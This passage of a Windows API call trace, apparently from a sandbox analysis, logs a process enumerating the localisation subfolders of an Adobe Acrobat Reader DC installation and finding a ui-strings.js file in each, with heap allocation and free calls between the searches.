(in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.233] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.233] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.233] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.233] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.233] GetProcessHeap () returned 0xc10000 [0259.233] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.233] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0259.234] GetProcessHeap () returned 0xc10000 [0259.234] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.234] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.234] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1245, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.234] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1245, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.234] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.235] GetProcessHeap () returned 0xc10000 [0259.235] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.235] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0259.235] GetProcessHeap () returned 0xc10000 [0259.235] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.236] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.236] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x119c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.236] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x119c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.236] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.236] GetProcessHeap () returned 0xc10000 [0259.236] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.236] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0259.236] GetProcessHeap () returned 0xc10000 [0259.236] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.236] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.237] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x130d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.237] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x130d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.237] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.237] GetProcessHeap () returned 0xc10000 [0259.237] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.237] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0259.237] GetProcessHeap () returned 0xc10000 [0259.237] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.237] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.238] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.238] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.238] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.238] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.238] GetProcessHeap () returned 0xc10000 [0259.238] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.238] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0259.238] GetProcessHeap () returned 0xc10000 [0259.238] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.238] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0259.238] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.239] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.239] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.239] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0259.239] GetProcessHeap () returned 0xc10000 [0259.239] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.239] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0259.239] GetProcessHeap () returned 0xc10000 [0259.239] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.239] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.239] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.239] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.239] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.240] GetProcessHeap () returned 0xc10000 [0259.240] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.240] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0259.240] GetProcessHeap () returned 0xc10000 [0259.240] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.240] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.241] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.241] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1165, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.241] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1165, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.241] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.241] GetProcessHeap () returned 0xc10000 [0259.241] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.241] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, 